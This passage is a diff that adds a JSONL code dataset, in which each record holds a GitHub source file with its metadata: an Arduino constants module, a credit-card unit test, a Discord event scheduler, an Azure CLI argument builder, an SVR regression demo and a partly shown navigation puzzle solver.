diff --git "a/293.jsonl" "b/293.jsonl" new file mode 100644--- /dev/null +++ "b/293.jsonl" @@ -0,0 +1,2271 @@ +{"seq_id":"12421809764","text":"from os import environ\nDEBUG = environ.get('DEBUG', False)\n\nARDUINO_DEV_PATH = environ.get('DBX_ARDUINO_DEV', \"/dev/ttyACM0\")\nARDUINO_BAUD_RATE = environ.get('DBX_ARDUINO_BAUD', 9600)\n\nCMD_SET_LED = \"set_led\"\nCMD_SET_TEXT = \"set_text\"\nCMD_PARTY_LEDS = \"party_leds\"\n\n# List of command names (and formats for their associated arguments). These must\n# be in the same order as in the sketch.\nCOMMANDS = [[CMD_SET_LED, \"IIIII\"],\n [CMD_SET_TEXT, \"Is\"],\n [CMD_PARTY_LEDS, \"\"]]\n\n\nWHITE_RGB = [255, 255, 255]\nBLACK_RGB = [0, 0, 0]\nDBX_BLUE_RGB = [0, 97, 255]\nAVAILABLE_RGB = [0, 128, 0]\nFLOW_RGB = DBX_BLUE_RGB\nMAX_BRIGHTNESS = 255\n\nNUM_LED = 22\n","repo_name":"michaelprobinette/dbx-status-cube","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11223495553","text":"import unittest\n\nfrom unittest.mock import AsyncMock\nfrom src.domain.use_cases.create_new_creditcard_use_case import CreateNewCreditCardUseCase, CreateNewCreditCardDTOOut\nfrom src.domain.use_cases.dtos.creditcard_dtos import CreateNewCreditCardDTOIn\nfrom src.domain.factories.creditcard_factory import CreditCardFactory\nfrom src.domain.ports.outbound.protocol_repositories.creditcard_repository import ICreditCardRepository\n\n\nclass TestCreateNewCreditCardUseCase(unittest.TestCase):\n def setUp(self):\n # Create a mock for the repository\n self.mock_repository = AsyncMock(spec=ICreditCardRepository)\n\n # Create a use case instance with the mock repository\n self.use_case = CreateNewCreditCardUseCase(rep=self.mock_repository)\n self.input_data = CreateNewCreditCardDTOIn(\n exp_date=\"02/2026\",\n holder=\"Fulano\",\n number=\"4539578763621486\",\n cvv=\"123\"\n )\n self.output_date = CreateNewCreditCardDTOOut(\n identification=\"12313\",\n exp_date='2026-02-28',\n holder='FULANO',\n number='gAAA',\n cvv=123,\n brand=\"visa\"\n )\n self.credit_card = CreditCardFactory().create(self.input_data)\n self.mock_repository.create.return_value = self.credit_card\n\n async def test_create_new_credit_card(self):\n result = await self.use_case.create(self.input_data)\n self.output_date.identification = result.identification\n self.output_date.number = result.number\n self.assertEqual(result, self.output_date)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"GuiCastroo/CreditCardMaisTodos","sub_path":"src/tests/unittests/test_use_cases/test_create_new_credit_card_use_case.py","file_name":"test_create_new_credit_card_use_case.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38724089161","text":"import asyncio\nfrom functools import wraps\nfrom typing import List, Dict, Callable\nfrom dataclasses import dataclass\nfrom datetime import datetime\nfrom threading import Timer, RLock\nfrom api.dbmodels.event import Event\nfrom usermanager import UserManager\nimport utils\nimport logging\nfrom api.database import db\nimport discord\n\n\n@dataclass\nclass FutureCallback:\n time: datetime\n callback: Callable\n\n\nclass EventManager:\n\n def __init__(self, discord_client: discord.Client):\n self._scheduled: List[FutureCallback] = []\n self._schedule_lock = RLock()\n self._cur_timer = None\n self._user_manager = UserManager()\n self._dc_client = discord_client\n\n def initialize_events(self):\n events = Event.query.all()\n for event in events:\n self.register(event)\n\n def register(self, event: Event):\n event_callbacks = [\n (event.start, lambda: self._event_start(event)),\n (event.end, lambda: self._event_end(event)),\n (event.registration_start, lambda: self._event_registration_start(event)),\n (event.registration_end, lambda: self._event_registration_end(event))\n ]\n now = datetime.now()\n for time, callback in event_callbacks:\n if time > now:\n self._schedule(\n FutureCallback(\n time=time,\n callback=self._wrap_async(callback)\n )\n )\n\n def _get_event_channel(self, event: Event) -> discord.TextChannel:\n guild = self._dc_client.get_guild(event.guild_id)\n return guild.get_channel(event.channel_id)\n\n async def _event_start(self, event: Event):\n self._user_manager.synch_workers()\n await self._get_event_channel(event).send(content=f'Event **{event.name}** just started!',\n embed=event.get_discord_embed(dc_client=self._dc_client, registrations=True))\n\n async def _event_end(self, event: Event):\n await self._get_event_channel(event).send(\n content=f'Event **{event.name}** just ended! Final standings:',\n embed=await event.create_leaderboard(self._dc_client)\n )\n\n complete_history = await event.create_complete_history(dc_client=self._dc_client)\n await self._get_event_channel(event).send(\n embed=event.get_summary_embed(dc_client=self._dc_client).set_image(url=f'attachment://{complete_history.filename}'),\n file=complete_history\n )\n\n self._user_manager.synch_workers()\n\n async def _event_registration_start(self, event: Event):\n await self._get_event_channel(event).send(content=f'Registration period for **{event.name}** has started!')\n\n async def _event_registration_end(self, event: Event):\n await self._get_event_channel(event).send(content=f'Registration period for **{event.name}** has ended!')\n\n def _wrap_async(self, coro):\n @wraps(coro)\n def func():\n self._dc_client.loop.create_task(coro())\n return func\n\n def _schedule(self, callback: FutureCallback):\n with self._schedule_lock:\n self._scheduled.append(callback)\n if len(self._scheduled) == 1:\n self._cur_timer = asyncio.create_task(self._execute())\n else:\n # Execution has to be restarted if the callback to schedule happens before the current waiting callback\n if callback.time < self._scheduled[0].time:\n self._cur_timer.cancel()\n self._scheduled.sort(key=lambda x: x.time)\n self._cur_timer = asyncio.create_task(self._execute())\n else:\n self._scheduled.sort(key=lambda x: x.time)\n\n async def _execute(self):\n while len(self._scheduled) > 0:\n cur_event = self._scheduled[0]\n diff_seconds = (cur_event.time - datetime.now()).total_seconds()\n await asyncio.sleep(diff_seconds)\n\n try:\n cur_event.callback()\n except Exception as e:\n logging.error(f'Unhandled exception during event callback {cur_event.callback}: {e}')\n if cur_event in self._scheduled:\n self._scheduled.remove(cur_event)\n","repo_name":"jackstar12/balance-bot","sub_path":"eventmanager.py","file_name":"eventmanager.py","file_ext":"py","file_size_in_byte":4330,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"40172664750","text":"import re\n\nimport inflect\nfrom utils.case import to_camel_case\n\nfrom ._arg import CMDArg, CMDArgBase, CMDArgumentHelp, CMDArgEnum, CMDArgDefault, CMDBooleanArgBase, \\\n CMDArgBlank, CMDObjectArgAdditionalProperties, CMDResourceLocationArgBase, CMDClsArgBase, CMDPasswordArgPromptInput\nfrom ._format import CMDFormat\nfrom ._schema import CMDObjectSchema, CMDSchema, CMDSchemaBase, CMDObjectSchemaBase, CMDObjectSchemaDiscriminator, \\\n CMDArraySchemaBase, CMDObjectSchemaAdditionalProperties, CMDResourceIdSchema, CMDBooleanSchemaBase, \\\n CMDResourceLocationSchemaBase, CMDPasswordSchema\n\n\nclass CMDArgBuilder:\n _inflect_engine = inflect.engine()\n\n @classmethod\n def new_builder(cls, schema, parent=None, var_prefix=None, ref_args=None, ref_arg=None, is_update_action=False):\n if var_prefix is None:\n if parent is None or parent._arg_var is None:\n arg_var = \"$\"\n else:\n arg_var = parent._arg_var\n else:\n arg_var = var_prefix\n\n if parent is None or parent._arg_var is None:\n if isinstance(schema, CMDSchema):\n if not arg_var.endswith(\"$\") and not schema.name.startswith('[') and not schema.name.startswith('{'):\n arg_var += '.'\n arg_var += f'{schema.name}'.replace('$', '') # some schema name may contain $\n else:\n raise NotImplementedError()\n else:\n assert isinstance(parent, CMDArgBuilder)\n if isinstance(parent.schema, CMDArraySchemaBase):\n arg_var += '[]'\n elif isinstance(parent.schema, CMDObjectSchemaAdditionalProperties):\n arg_var += '{}'\n elif isinstance(parent.schema, (CMDObjectSchemaBase, CMDObjectSchemaDiscriminator)):\n if not isinstance(schema, CMDObjectSchemaAdditionalProperties):\n if not arg_var.endswith(\"$\"):\n arg_var += '.'\n if isinstance(schema, CMDObjectSchemaDiscriminator):\n arg_var += schema.get_safe_value()\n elif isinstance(schema, CMDSchema):\n arg_var += f'{schema.name}'.replace('$', '') # some schema name may contain $\n else:\n raise NotImplementedError()\n else:\n raise NotImplementedError()\n cls_name = getattr(parent.schema, 'cls', None)\n if cls_name is not None:\n arg_var = arg_var.replace(parent._arg_var, f\"@{cls_name}\")\n\n if ref_arg:\n assert ref_args is None\n\n flatten = None\n sub_ref_args = []\n if not ref_arg and ref_args:\n for arg in ref_args:\n if arg.var == arg_var:\n ref_arg = arg\n flatten = False\n break\n elif arg.var.startswith(f\"{arg_var}.\"):\n flatten = True # this argument already flattened\n sub_ref_args.append(arg)\n sub_ref_args = sub_ref_args or None\n return cls(schema=schema, arg_var=arg_var, ref_arg=ref_arg, sub_ref_args=sub_ref_args, parent=parent, is_update_action=is_update_action, flatten=flatten)\n\n def __init__(self, schema, arg_var, ref_arg, sub_ref_args, parent=None, is_update_action=False, flatten=None):\n self.schema = schema\n self._parent = parent\n self._arg_var = arg_var\n self._ref_arg = ref_arg\n self._sub_ref_args = sub_ref_args\n self._flatten = flatten\n self._flatten_discriminators = False # flatten it's discriminators or not\n self._is_update_action = is_update_action\n\n def get_sub_builder(self, schema, ref_args=None, ref_arg=None):\n return self.new_builder(\n schema=schema, parent=self, ref_args=ref_args, ref_arg=ref_arg, is_update_action=self._is_update_action)\n\n def _ignore(self):\n if self.schema.frozen:\n return True\n if isinstance(self.schema, CMDSchemaBase):\n assert not self.schema.read_only\n if self.schema.const:\n return True\n return False\n\n def _build_arg_base(self):\n if self._ignore():\n return None\n arg_cls = self.schema.ARG_TYPE\n assert issubclass(arg_cls, (CMDArgBase, CMDObjectArgAdditionalProperties))\n return arg_cls.build_arg_base(self)\n\n def _build_arg(self):\n if self._ignore():\n return None\n\n arg_cls = self.schema.ARG_TYPE\n assert issubclass(arg_cls, CMDArg)\n return arg_cls.build_arg(self)\n\n def _need_flatten(self):\n if isinstance(self.schema, CMDObjectSchema):\n if self.get_cls():\n # not support to flatten object which is a cls.\n return False\n if self._flatten is not None:\n return self._flatten\n if self.schema.client_flatten:\n return True\n if self.schema.name == \"properties\" and self.schema.props:\n # flatten 'properties' property by default if it has props\n return True\n if isinstance(self.schema, CMDObjectSchemaDiscriminator):\n return self._parent._flatten_discriminators\n return False\n\n def get_args(self):\n if self._ignore():\n return []\n\n arg = self._build_arg()\n assert arg is not None\n if self._need_flatten():\n if isinstance(self.schema, CMDSchema):\n self.schema.arg = None\n if arg.args:\n for sub_arg in arg.args:\n if sub_arg.group is None:\n sub_arg.group = to_camel_case(self.schema.name)\n if not arg.required:\n sub_arg.required = False\n return arg.args or []\n elif isinstance(self.schema, CMDSchema):\n self.schema.arg = arg.var\n arg.ref_schema = self.schema\n\n return [arg, ]\n\n def get_sub_args(self):\n assert isinstance(self.schema, (CMDObjectSchemaBase, CMDObjectSchemaDiscriminator))\n sub_args = []\n discriminator_mapping = {}\n if self._ref_arg:\n if isinstance(self._ref_arg, CMDClsArgBase):\n # use the linked instance\n unwrapped_ref_arg = self._ref_arg.get_unwrapped()\n assert unwrapped_ref_arg is not None\n sub_ref_args = unwrapped_ref_arg.args\n else:\n sub_ref_args = self._ref_arg.args\n else:\n sub_ref_args = self._sub_ref_args\n\n if self.schema.discriminators:\n # update self._flatten_discriminators, if any discriminator need flatten, then all discriminator needs to flatten\n for disc in self.schema.discriminators:\n sub_builder = self.get_sub_builder(schema=disc, ref_args=sub_ref_args)\n self._flatten_discriminators = self._flatten_discriminators or sub_builder._need_flatten()\n for disc in self.schema.discriminators:\n sub_builder = self.get_sub_builder(schema=disc, ref_args=sub_ref_args)\n results = sub_builder.get_args()\n sub_args.extend(results)\n if results and not self._flatten_discriminators:\n assert len(results) == 1\n if disc.property not in discriminator_mapping:\n discriminator_mapping[disc.property] = {}\n discriminator_mapping[disc.property][disc.value] = results[0].var\n\n if self.schema.props:\n for prop in self.schema.props:\n if prop.name in discriminator_mapping:\n # If discriminators are not flattened then prop value can be associate with discriminator arguments\n assert hasattr(prop, 'enum')\n for item in prop.enum.items:\n if item.value in discriminator_mapping[prop.name]:\n item.arg = discriminator_mapping[prop.name][item.value]\n continue\n sub_builder = self.get_sub_builder(schema=prop, ref_args=sub_ref_args)\n sub_args.extend(sub_builder.get_args())\n\n if not sub_args:\n return None\n return sub_args\n\n def get_sub_item(self):\n if hasattr(self.schema, \"item\") and self.schema.item:\n sub_ref_arg = self._ref_arg.item if self._ref_arg else None\n sub_builder = self.get_sub_builder(schema=self.schema.item, ref_arg=sub_ref_arg)\n return sub_builder._build_arg_base()\n else:\n return None\n\n def get_any_type(self):\n if hasattr(self.schema, \"any_type\") and self.schema.any_type and self.get_sub_item() is None:\n return True\n else:\n return False\n\n def get_additional_props(self):\n if hasattr(self.schema, \"additional_props\") and self.schema.additional_props:\n sub_ref_arg = self._ref_arg.additional_props if self._ref_arg else None\n sub_builder = self.get_sub_builder(schema=self.schema.additional_props, ref_arg=sub_ref_arg)\n return sub_builder._build_arg_base()\n else:\n return None\n\n def get_required(self):\n if not self._is_update_action and isinstance(self.schema, CMDSchema):\n return self.schema.required\n return False\n\n def get_nullable(self):\n if isinstance(self.schema, CMDSchemaBase) and self.schema.nullable:\n return True\n\n if isinstance(self.schema, CMDSchema):\n # when updated and schema is not required then nullable is true.\n # This can help update command to remove properties\n if not self.schema.required and self._is_update_action:\n return True\n\n elif isinstance(self.schema, CMDSchemaBase):\n # when updated and the element is nullable\n # This can help update command to remove elements.\n if self._is_update_action:\n return True\n\n return False\n\n def get_default(self):\n if self._ref_arg:\n # ref_arg already has default value return it\n if self._ref_arg.default:\n return CMDArgDefault(raw_data=self._ref_arg.default.to_native())\n if self._is_update_action:\n # ignore default for update actions\n return None\n if hasattr(self.schema, 'default') and self.schema.default:\n return CMDArgDefault.build_default(self, self.schema.default)\n return None\n\n def get_configuration_key(self):\n if self._ref_arg:\n return self._ref_arg.configuration_key\n return None\n\n def get_prompt(self):\n if self._ref_arg:\n # ref_arg already has prompt return it\n if hasattr(self._ref_arg, \"prompt\") and self._ref_arg.prompt:\n return self._ref_arg.prompt.__class__(raw_data=self._ref_arg.prompt.to_native())\n if isinstance(self.schema, CMDPasswordSchema):\n return CMDPasswordArgPromptInput(raw_data={\"msg\": \"Password:\"})\n return None\n\n def get_blank(self):\n if self.get_prompt() is not None:\n # disable blank when get prompt is available\n return None\n\n if self._ref_arg:\n if self._ref_arg.blank:\n return CMDArgBlank(raw_data=self._ref_arg.blank.to_native())\n return None # ignore the logic from schema\n\n if isinstance(self.schema, CMDBooleanArgBase):\n blk = CMDArgBlank()\n blk.value = True\n return blk\n return None\n\n def get_hide(self):\n if self._ref_arg:\n return self._ref_arg.hide # ignore the logic from schema\n\n if getattr(self.schema, 'name', None) == 'id' and not self.get_required() and self._parent and \\\n isinstance(self.schema, CMDResourceIdSchema):\n if self._arg_var.split('.', maxsplit=1)[-1] == 'id':\n # hide top level 'id' property when it has 'name' property,\n for prop in self._parent.schema.props:\n if prop.name == 'name':\n return True\n return False\n\n def get_var(self):\n return self._arg_var\n\n @staticmethod\n def _build_option_name(name):\n name = name.replace('_', '-')\n name = re.sub('(.)([A-Z][a-z]+)', r'\\1-\\2', name)\n name = re.sub('([a-z0-9])([A-Z])', r'\\1-\\2', name).lower()\n return '-'.join([p for p in name.split('-') if p])\n\n def get_options(self):\n if self._ref_arg:\n return [*self._ref_arg.options]\n\n if isinstance(self.schema, CMDObjectSchemaDiscriminator):\n opt_name = self._build_option_name(self.schema.get_safe_value())\n elif isinstance(self.schema, CMDSchema):\n name = self.schema.name.replace('$', '')\n if name == \"[Index]\" or name == \"{Key}\":\n assert self._arg_var.endswith(name)\n prefix = self._arg_var[:-len(name)].split('.')[-1]\n prefix = self._inflect_engine.singular_noun(prefix)\n if name == \"[Index]\":\n name = f'{prefix}-index'\n elif name == \"{Key}\":\n name = f'{prefix}-key'\n elif name.startswith('[].') or name.startswith('{}.'):\n assert self._arg_var.endswith(name)\n prefix = self._arg_var[:-len(name)].split('.')[-1]\n prefix = self._inflect_engine.singular_noun(prefix)\n name = prefix + name[2:]\n name = name.replace('.', '-')\n opt_name = self._build_option_name(name) # some schema name may contain $\n else:\n raise NotImplementedError()\n return [opt_name, ]\n\n def get_singular_options(self):\n if self._ref_arg:\n singular_options = getattr(self._ref_arg, 'singular_options', None)\n if singular_options:\n return [*singular_options]\n\n # Disable singular options by default\n # if isinstance(self.schema, CMDArraySchema):\n # opt_name = self._build_option_name(self.schema.name.replace('$', '')) # some schema name may contain $\n # singular_opt_name = self._inflect_engine.singular_noun(opt_name) or opt_name\n # if singular_opt_name != opt_name:\n # return [singular_opt_name, ]\n return None\n\n def get_help(self):\n if self._ref_arg:\n if self._ref_arg.help:\n return CMDArgumentHelp(raw_data=self._ref_arg.help.to_native())\n\n if hasattr(self.schema, 'description') and self.schema.description:\n h = CMDArgumentHelp()\n h.short = self.schema.description.replace('\\n', ' ')\n return h\n return None\n\n def get_group(self):\n if self._ref_arg:\n return self._ref_arg.group\n return None\n\n def get_fmt(self):\n if isinstance(self.schema, CMDObjectSchemaDiscriminator):\n return None\n assert hasattr(self.schema, 'fmt')\n if self.schema.fmt:\n assert isinstance(self.schema.fmt, CMDFormat)\n ref_fmt = getattr(self._ref_arg, 'fmt', None) if self._ref_arg else None\n return self.schema.fmt.build_arg_fmt(self, ref_fmt=ref_fmt)\n return None\n\n def get_enum(self):\n assert hasattr(self.schema, 'enum')\n if self.schema.enum:\n ref_enum = self._ref_arg.enum if self._ref_arg else None\n enum = CMDArgEnum.build_enum(self.schema.enum, ref_enum=ref_enum)\n return enum\n return None\n\n def get_cls(self):\n if isinstance(self.schema, CMDObjectSchemaDiscriminator):\n return None\n assert hasattr(self.schema, 'cls')\n return self.schema.cls\n\n def get_type(self):\n return self.schema._get_type()\n\n def get_reverse_boolean(self):\n assert isinstance(self.schema, CMDBooleanSchemaBase)\n if self._ref_arg and isinstance(self._ref_arg, CMDBooleanArgBase):\n return self._ref_arg.reverse\n return False\n\n def get_resource_location_no_rg_default(self):\n assert isinstance(self.schema, CMDResourceLocationSchemaBase)\n if self._ref_arg and isinstance(self._ref_arg, CMDResourceLocationArgBase):\n return self._ref_arg.no_rg_default\n return False\n","repo_name":"Azure/aaz-dev-tools","sub_path":"src/aaz_dev/command/model/configuration/_arg_builder.py","file_name":"_arg_builder.py","file_ext":"py","file_size_in_byte":16496,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"} +{"seq_id":"13219825166","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Hiromasa Kaneko\n\"\"\"\n# Demonstration of Variable Importance-considering Support Vector Regression (VI-SVR) \n\nimport math\n\nimport matplotlib.figure as figure\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sklearn.datasets import load_boston\nfrom sklearn import svm\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import GridSearchCV, train_test_split, cross_val_predict\n\nfrom scipy.spatial.distance import cdist\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\nrate_of_test_samples = 0.25 # rate of the number of test samples\nfold_number = 5 # fold number in cross-validation (CV)\nnonlinear_svr_cs = 2 ** np.arange(-5, 10, dtype=float) # C for nonlinear svr\nnonlinear_svr_epsilons = 2 ** np.arange(-10, 0, dtype=float) # Epsilon for nonlinear svr\nnonlinear_svr_gammas = 2 ** np.arange(-20, 10, dtype=float) # Gamma for nonlinear svr\nrandom_forest_number_of_trees = 500 # Number of decision trees for random forest\nrandom_forest_x_variables_rates = np.arange(1, 10, dtype=float) / 10 # Ratio of the number of X-variables for random forest\nweights_of_feature_importances = list(np.arange(0, 3.1, 0.1)) # p in VI-SVR\n\nx, y = load_boston(return_X_y=True)\nx = pd.DataFrame(x)\ny = pd.Series(y)\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=rate_of_test_samples, shuffle=True)\n \n# autoscaling\nautoscaled_x_train = (x_train - x_train.mean(axis=0)) / x_train.std(axis=0, ddof=1)\nautoscaled_y_train = (y_train - y_train.mean()) / y_train.std(ddof=1)\nautoscaled_x_test = (x_test - x_train.mean(axis=0)) / x_train.std(axis=0, ddof=1)\n \n# VI-SVR\nrmse_oob_all = []\nfor random_forest_x_variables_rate in random_forest_x_variables_rates:\n RandomForestResult = RandomForestRegressor(n_estimators=random_forest_number_of_trees, max_features=int(\n max(math.ceil(x_train.shape[1] * random_forest_x_variables_rate), 1)), oob_score=True)\n RandomForestResult.fit(autoscaled_x_train, autoscaled_y_train)\n estimated_y_in_cv = RandomForestResult.oob_prediction_\n estimated_y_in_cv = estimated_y_in_cv * y_train.std(ddof=1) + y_train.mean()\n rmse_oob_all.append((sum((y_train - estimated_y_in_cv) ** 2) / len(y_train)) ** 0.5)\noptimal_random_forest_x_variables_rate = random_forest_x_variables_rates[\n np.where(rmse_oob_all == np.min(rmse_oob_all))[0][0]]\nregression_model = RandomForestRegressor(n_estimators=random_forest_number_of_trees, max_features=int(\n max(math.ceil(x_train.shape[1] * optimal_random_forest_x_variables_rate), 1)), oob_score=True)\nregression_model.fit(autoscaled_x_train, autoscaled_y_train)\nfeature_importances = pd.DataFrame(regression_model.feature_importances_ / max(regression_model.feature_importances_), index=x_train.columns)\n\nautoscaled_x_train_original = autoscaled_x_train.copy()\nr2cvs = []\nfor weight in weights_of_feature_importances:\n autoscaled_x_train = autoscaled_x_train_original * (feature_importances.iloc[:, 0] ** weight)\n # svr\n variance_of_gram_matrix = []\n numpy_autoscaled_x_train = np.array(autoscaled_x_train)\n for nonlinear_svr_gamma in nonlinear_svr_gammas:\n gram_matrix = np.exp(-nonlinear_svr_gamma * cdist(numpy_autoscaled_x_train, numpy_autoscaled_x_train, metric='sqeuclidean'))\n variance_of_gram_matrix.append(gram_matrix.var(ddof=1))\n optimal_nonlinear_gamma = nonlinear_svr_gammas[\n np.where(variance_of_gram_matrix == np.max(variance_of_gram_matrix))[0][0]]\n # optimize ε with CV\n model_in_cv = GridSearchCV(svm.SVR(kernel='rbf', C=3, gamma=optimal_nonlinear_gamma), {'epsilon': nonlinear_svr_epsilons},\n cv=fold_number, verbose=0)\n model_in_cv.fit(autoscaled_x_train, autoscaled_y_train)\n optimal_nonlinear_epsilon = model_in_cv.best_params_['epsilon']\n # optimize C with CV\n model_in_cv = GridSearchCV(svm.SVR(kernel='rbf', epsilon=optimal_nonlinear_epsilon, gamma=optimal_nonlinear_gamma),\n {'C': nonlinear_svr_cs}, cv=fold_number, verbose=0)\n model_in_cv.fit(autoscaled_x_train, autoscaled_y_train)\n optimal_nonlinear_c = model_in_cv.best_params_['C']\n # optimize γ with CV\n model_in_cv = GridSearchCV(svm.SVR(kernel='rbf', epsilon=optimal_nonlinear_epsilon, C=optimal_nonlinear_c),\n {'gamma': nonlinear_svr_gammas}, cv=fold_number, verbose=0)\n model_in_cv.fit(autoscaled_x_train, autoscaled_y_train)\n optimal_nonlinear_gamma = model_in_cv.best_params_['gamma']\n regression_model = svm.SVR(kernel='rbf', C=optimal_nonlinear_c, epsilon=optimal_nonlinear_epsilon,\n gamma=optimal_nonlinear_gamma)\n regression_model.fit(autoscaled_x_train, autoscaled_y_train)\n estimated_y_in_cv = np.ndarray.flatten(\n cross_val_predict(regression_model, autoscaled_x_train, autoscaled_y_train, cv=fold_number))\n r2cvs.append(float(1 - sum((autoscaled_y_train - estimated_y_in_cv) ** 2) / sum((autoscaled_y_train - autoscaled_y_train.mean()) ** 2)))\n \noptimal_weight = weights_of_feature_importances[np.where(r2cvs == np.max(r2cvs))[0][0]]\nprint(optimal_weight)\nautoscaled_x_train = autoscaled_x_train_original * (feature_importances.iloc[:, 0] ** optimal_weight)\nautoscaled_x_test = autoscaled_x_test * (feature_importances.iloc[:, 0] ** optimal_weight)\n# svr\nvariance_of_gram_matrix = list()\nnumpy_autoscaled_x_train = np.array(autoscaled_x_train)\nfor nonlinear_svr_gamma in nonlinear_svr_gammas:\n gram_matrix = np.exp(-nonlinear_svr_gamma * cdist(numpy_autoscaled_x_train, numpy_autoscaled_x_train, metric='sqeuclidean'))\n variance_of_gram_matrix.append(gram_matrix.var(ddof=1))\noptimal_nonlinear_gamma = nonlinear_svr_gammas[\n np.where(variance_of_gram_matrix == np.max(variance_of_gram_matrix))[0][0]]\n# optimize ε with CV\nmodel_in_cv = GridSearchCV(svm.SVR(kernel='rbf', C=3, gamma=optimal_nonlinear_gamma), {'epsilon': nonlinear_svr_epsilons},\n cv=fold_number, verbose=0)\nmodel_in_cv.fit(autoscaled_x_train, autoscaled_y_train)\noptimal_nonlinear_epsilon = model_in_cv.best_params_['epsilon']\n# optimize C with CV\nmodel_in_cv = GridSearchCV(svm.SVR(kernel='rbf', epsilon=optimal_nonlinear_epsilon, gamma=optimal_nonlinear_gamma),\n {'C': nonlinear_svr_cs}, cv=fold_number, verbose=0)\nmodel_in_cv.fit(autoscaled_x_train, autoscaled_y_train)\noptimal_nonlinear_c = model_in_cv.best_params_['C']\n# optimize γ with CV\nmodel_in_cv = GridSearchCV(svm.SVR(kernel='rbf', epsilon=optimal_nonlinear_epsilon, C=optimal_nonlinear_c),\n {'gamma': nonlinear_svr_gammas}, cv=fold_number, verbose=0)\nmodel_in_cv.fit(autoscaled_x_train, autoscaled_y_train)\noptimal_nonlinear_gamma = model_in_cv.best_params_['gamma']\nregression_model = svm.SVR(kernel='rbf', C=optimal_nonlinear_c, epsilon=optimal_nonlinear_epsilon,\n gamma=optimal_nonlinear_gamma)\nregression_model.fit(autoscaled_x_train, autoscaled_y_train)\n\n# calculate y\ncalculated_y_train = np.ndarray.flatten(regression_model.predict(autoscaled_x_train))\ncalculated_y_train = calculated_y_train * y_train.std(ddof=1) + y_train.mean()\n# r2, RMSE, MAE\nprint('r2: {0}'.format(float(1 - sum((y_train - calculated_y_train) ** 2) / sum((y_train - y_train.mean()) ** 2))))\nprint('RMSE: {0}'.format(float((sum((y_train - calculated_y_train) ** 2) / len(y_train)) ** 0.5)))\nprint('MAE: {0}'.format(float(sum(abs(y_train - calculated_y_train)) / len(y_train))))\n# yy-plot\nplt.figure(figsize=figure.figaspect(1))\nplt.scatter(y_train, calculated_y_train)\ny_max = np.max(np.array([np.array(y_train), calculated_y_train]))\ny_min = np.min(np.array([np.array(y_train), calculated_y_train]))\nplt.plot([y_min - 0.05 * (y_max - y_min), y_max + 0.05 * (y_max - y_min)],\n [y_min - 0.05 * (y_max - y_min), y_max + 0.05 * (y_max - y_min)], 'k-')\nplt.ylim(y_min - 0.05 * (y_max - y_min), y_max + 0.05 * (y_max - y_min))\nplt.xlim(y_min - 0.05 * (y_max - y_min), y_max + 0.05 * (y_max - y_min))\nplt.xlabel('Actual Y')\nplt.ylabel('Calculated Y')\nplt.show()\n\n# prediction\npredicted_y_test = np.ndarray.flatten(regression_model.predict(autoscaled_x_test))\npredicted_y_test = predicted_y_test * y_train.std(ddof=1) + y_train.mean()\n# yy-plot\nplt.figure(figsize=figure.figaspect(1))\nplt.scatter(y_test, predicted_y_test)\ny_max = np.max(np.array([np.array(y_test), predicted_y_test]))\ny_min = np.min(np.array([np.array(y_test), predicted_y_test]))\nplt.plot([y_min - 0.05 * (y_max - y_min), y_max + 0.05 * (y_max - y_min)],\n [y_min - 0.05 * (y_max - y_min), y_max + 0.05 * (y_max - y_min)], 'k-')\nplt.ylim(y_min - 0.05 * (y_max - y_min), y_max + 0.05 * (y_max - y_min))\nplt.xlim(y_min - 0.05 * (y_max - y_min), y_max + 0.05 * (y_max - y_min))\nplt.xlabel('Actual Y')\nplt.ylabel('Predicted Y')\nplt.show()\n# r2p, RMSEp, MAEp\nprint('r2p: {0}'.format(float(1 - sum((y_test - predicted_y_test) ** 2) / sum((y_test - y_test.mean()) ** 2))))\nprint('RMSEp: {0}'.format(float((sum((y_test - predicted_y_test) ** 2) / len(y_test)) ** 0.5)))\nprint('MAEp: {0}'.format(float(sum(abs(y_test - predicted_y_test)) / len(y_test))))\n","repo_name":"hkaneko1985/dcekit","sub_path":"demo_visvr.py","file_name":"demo_visvr.py","file_ext":"py","file_size_in_byte":9150,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"21"} +{"seq_id":"14969745487","text":"import math\nfrom pathlib import Path\n\ny = (1, 0, -1, 0)\nx = (0, 1, 0, -1)\n\ndirs = ('N', 'E', 'S', 'W')\ndirs_coord = dict(zip(dirs, zip(x, y)))\n\n\ndef part1(sequence):\n cx = cy = 0\n curr_dir = dirs.index('E')\n for action, value in sequence:\n if action in dirs_coord:\n dx, dy = dirs_coord[action]\n cx, cy = cx+(dx*value), cy+(dy*value)\n elif action == 'F':\n dx, dy = dirs_coord[dirs[curr_dir]]\n cx, cy = cx+(dx*value), cy+(dy*value)\n else:\n sign = 1 if action == 'R' else -1\n move = (value//90)\n curr_dir = (curr_dir+(sign*move)) % len(dirs)\n\n return abs(cx)+abs(cy)\n\n\ndef part2(sequence):\n\n def rotate(point, angle):\n angle = math.radians(angle)\n (px, py) = point\n px_ = px * math.cos(angle) - py * math.sin(angle)\n py_ = py * math.cos(angle) + px * math.sin(angle)\n return round(px_), round(py_)\n\n cx = cy = 0\n wx, wy = 10, 1\n\n for action, value in sequence:\n if action in dirs_coord:\n dx, dy = dirs_coord[action]\n wx, wy = wx+(dx*value), wy+(dy*value)\n elif action == 'F':\n cx, cy = cx+(wx*value), cy+(wy*value)\n else:\n sign = -1 if action == 'R' else 1\n wx, wy = rotate((wx, wy), sign*value)\n print(action+str(value), f'({cx},{cy})',\n f'({wx},{wy})')\n\n return abs(cx)+abs(cy)\n\n\ndef process_input(file):\n return [(x[0], int(x[1:])) for x in file.read().splitlines()]\n\n\nif __name__ == \"__main__\":\n script_path = Path(__file__).resolve()\n input_path = script_path.parent / 